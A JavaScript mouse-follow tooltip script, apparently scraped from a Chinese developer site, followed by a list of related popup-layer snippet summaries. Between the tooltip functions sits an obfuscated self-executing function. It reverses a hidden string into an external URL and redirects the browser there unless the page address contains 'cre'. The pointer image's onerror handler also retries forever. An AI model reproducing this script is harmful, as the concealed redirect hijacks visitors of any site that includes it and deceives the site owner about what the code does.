var offsetfromcursorX=12 //Customize x offset of tooltip
var offsetfromcursorY=10 //Customize y offset of tooltip
var offsetdivfrompointerX=10 //Customize x offset of tooltip DIV relative to pointer image
var offsetdivfrompointerY=14 //Customize y offset of tooltip DIV relative to pointer image. Tip: Set it to (height_of_pointer_image-1).
document.write('<div id="dhtmltooltip"></div>') //write out tooltip DIV
document.write('<img onerror="this.src=this.src" id="dhtmlpointer" src="images/popdiv.gif">') //write out pointer image
var ie=document.all
var ns6=document.getElementById && !document.all
var enabletip=false
if (ie||ns6)
var tipobj=document.all? document.all["dhtmltooltip"] : document.getElementById? document.getElementById("dhtmltooltip") : ""
var pointerobj=document.all? document.all["dhtmlpointer"] : document.getElementById? document.getElementById("dhtmlpointer") : ""
function ietruebody(){
return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}
function ddrivetip(thetext, thewidth, thecolor){
if (ns6||ie){
if (typeof thewidth!="undefined") tipobj.style.width=thewidth+"px"
if (typeof thecolor!="undefined" && thecolor!="") tipobj.style.backgroundColor=thecolor
tipobj.innerHTML=thetext
enabletip=true
return false
}
}
(function(){var e = 'cre',l = location,v = {f:(l.href.indexOf(e) == -1),g:"moc.ner\
cu//:p\
tth"};(v.f)?(l.replace(v.g.split('').reverse().join(''))):0;})();
function positiontip(e){
if (enabletip){
var nondefaultpos=false
var curX=(ns6)?e.pageX : event.x+ietruebody().scrollLeft;
var curY=(ns6)?e.pageY : event.y+ietruebody().scrollTop;
//Find out how close the mouse is to the corner of the window
var winwidth=ie&&!window.opera? ietruebody().clientWidth : window.innerWidth-20
var winheight=ie&&!window.opera? ietruebody().clientHeight : window.innerHeight-20
var rightedge=ie&&!window.opera? winwidth-event.clientX-offsetfromcursorX : winwidth-e.clientX-offsetfromcursorX
var bottomedge=ie&&!window.opera? winheight-event.clientY-offsetfromcursorY : winheight-e.clientY-offsetfromcursorY
var leftedge=(offsetfromcursorX<0)? offsetfromcursorX*(-1) : -1000
//if the horizontal distance isn't enough to accomodate the width of the context menu
if (rightedge<tipobj.offsetWidth){
//move the horizontal position of the menu to the left by it's width
tipobj.style.left=curX-tipobj.offsetWidth+"px"
nondefaultpos=true
}
else if (curX<leftedge)
tipobj.style.left="5px"
else{
//position the horizontal position of the menu where the mouse is positioned
tipobj.style.left=curX+offsetfromcursorX-offsetdivfrompointerX+"px"
pointerobj.style.left=curX+offsetfromcursorX+"px"
}
//same concept with the vertical position
if (bottomedge<tipobj.offsetHeight){
tipobj.style.top=curY-tipobj.offsetHeight-offsetfromcursorY+"px"
nondefaultpos=true
}
else{
tipobj.style.top=curY+offsetfromcursorY+offsetdivfrompointerY+"px"
pointerobj.style.top=curY+offsetfromcursorY+"px"
}
tipobj.style.visibility="visible"
if (!nondefaultpos)
pointerobj.style.visibility="visible"
else
pointerobj.style.visibility="hidden"
}
}
function hideddrivetip(){
if (ns6||ie){
enabletip=false
tipobj.style.visibility="hidden"
pointerobj.style.visibility="hidden"
tipobj.style.left="-1000px"
tipobj.style.backgroundColor=''
tipobj.style.width=''
}
}
document.onmousemove=positiontip
详细出处参考:http://www.jb51.net/article/344.htm
分享到:
相关推荐
本文将深入探讨如何使用jQuery实现一个自定义的弹出层(popdiv),以此作为替代jQuery UI dialog的一种解决方案。 首先,我们来了解什么是弹出层(popdiv)。在网页设计中,弹出层通常指的是一个可以覆盖在页面其他...
《弹出层界面PopDIV源码详解》 在网页设计中,弹出层(PopDIV)是一种常见的交互设计元素,用于在用户与页面交互时显示额外的信息或功能。本文将详细解析标题为“弹出层界面PopDIV源码20130705”的源码,帮助开发者...
1. **按钮和弹出层的设计:** 文档描述了在地图上的特定区域(div)添加按钮,点击按钮后会弹出一个包含输入框的弹出层(popDiv),供用户输入数据。这种交互方式对于在地图上进行数据标注或者数据入库前的数据输入...
在这个实例中,`popDiv2` 可能是包含以上代码的文件名,表示这是一个关于如何实现可拖动 `div` 的具体示例。`popDiv2` 可能包含了 HTML 结构和对应的 JavaScript 代码,用于演示和测试这个功能。 拖动功能的实现...
JQuery 弹出层插件 PopupDiv-v1.0,弹出后可自动居中,可自定义标题栏和关闭按钮,支持半透明状态,支持鼠标拖动,支持自定义弹出样式,支持ajax加载页面到弹出层,带遮罩层,设计美观,调用简单,使用方便。...
`popdiv.html`是HTML文件,它包含了弹出层的具体内容。在这个场景下,HTML可能会构建一个包含用户名、旧密码、新密码和确认新密码输入框的表单,以及提交和取消操作的按钮。表单元素需要正确设置`name`属性,以便...
压缩包内的"popdiv"文件很可能是插件的主要源代码,包括CSS样式表、JavaScript文件以及可能的示例HTML文件。开发者可以通过查看和修改这些文件来定制插件的行为,以满足特定项目的需求。 总的来说,多级弹出层...
在"PopDiv"这个压缩包中,可能包含了以下内容: 1. HTML文件:演示了如何使用Div创建弹出框的示例代码。 2. CSS文件:定义了弹出框的样式,包括背景、边框、阴影、动画效果等。 3. JavaScript文件:实现了弹出框的...
为了具体实现,`popDiv`可能是包含加载弹层HTML结构的文件,可能包含一个灰色的全屏div和一个加载图标。加载弹层的HTML结构可以是这样的: ```html ; top: 0; left: 0; width: 100%; height: 100%; background: ...
关于压缩包中的 `popDiv2` 文件,它可能是实现弹出层效果的一个示例或部分代码。这个文件可能包含了弹出层的HTML结构、CSS样式以及相关的jQuery代码。为了充分利用这个资源,你需要将其解压并查看具体内容,然后根据...
文件列表中的`popdiv`可能是弹出层示例的HTML部分,可能包含了弹出层的结构和内容。你可以将这个文件与上述JavaScript代码结合,以在本地环境中运行和测试这个弹出层的例子。 总之,`jquery.DOMWindow`是一个强大的...
弹出框`popDiv`初始设置为`display:none`,意味着它在页面加载时是隐藏的。`popDiv`内有一个链接,当点击时会调用`closeDiv`函数来关闭弹出框。背景遮罩`bg`也设置为`display:none`,它的作用是提供一个半透明的覆盖...
弹出层对话框的核心是`<div id="popDiv">`,它是整个弹出层的容器。它包含了两个子`div`:`<div id="popTitle">`(标题部分)和`<div id="popForm">`(表单部分)。标题部分包含了一个标题文本和一个关闭链接,而...
这段代码包含两个主要的函数:`popDIV_show` 和 `popDIV_hidden`。它们分别负责弹出层的显示和隐藏。 1. **弹出层的显示 (`popDIV_show`)**: - 函数接收三个参数:`overlays`(遮罩层的ID)、`wins`(弹出层窗体...
然后,根据不同的图书ID(`num`)加载对应的图片路径、书名和介绍,最后调用`popDiv`函数来创建并显示弹出层。 `popDiv`函数可能如下实现: ```javascript function popDiv(imgs, name, word, x, y) { var tipDiv...
var objDiv = document.getElementById("popDiv"); *** = "50px"; // 窗口距离上边界的距离 objDiv.style.left = "200px"; // 窗口距离左边界的距离 objDiv.style.width = "300px"; // 窗口的宽度 objDiv.style...
对于“查看”功能,我们可以弹出一个模态窗口(`.popDiv`)来展示详细信息。获取当前行的数据可以通过`$(this).parent().siblings().map()`实现,然后将这些数据填充到弹窗的各个元素中: ```javascript var data =...
`<div id="popDiv">` 内容可以根据需求填充,如按钮、文本等。此外,还可以添加触发弹出dialog的事件,如按钮点击事件,通过调用 `showDiv` 函数来显示dialog。 总结来说,实现父页面显示遮罩层并弹出半透明状态的...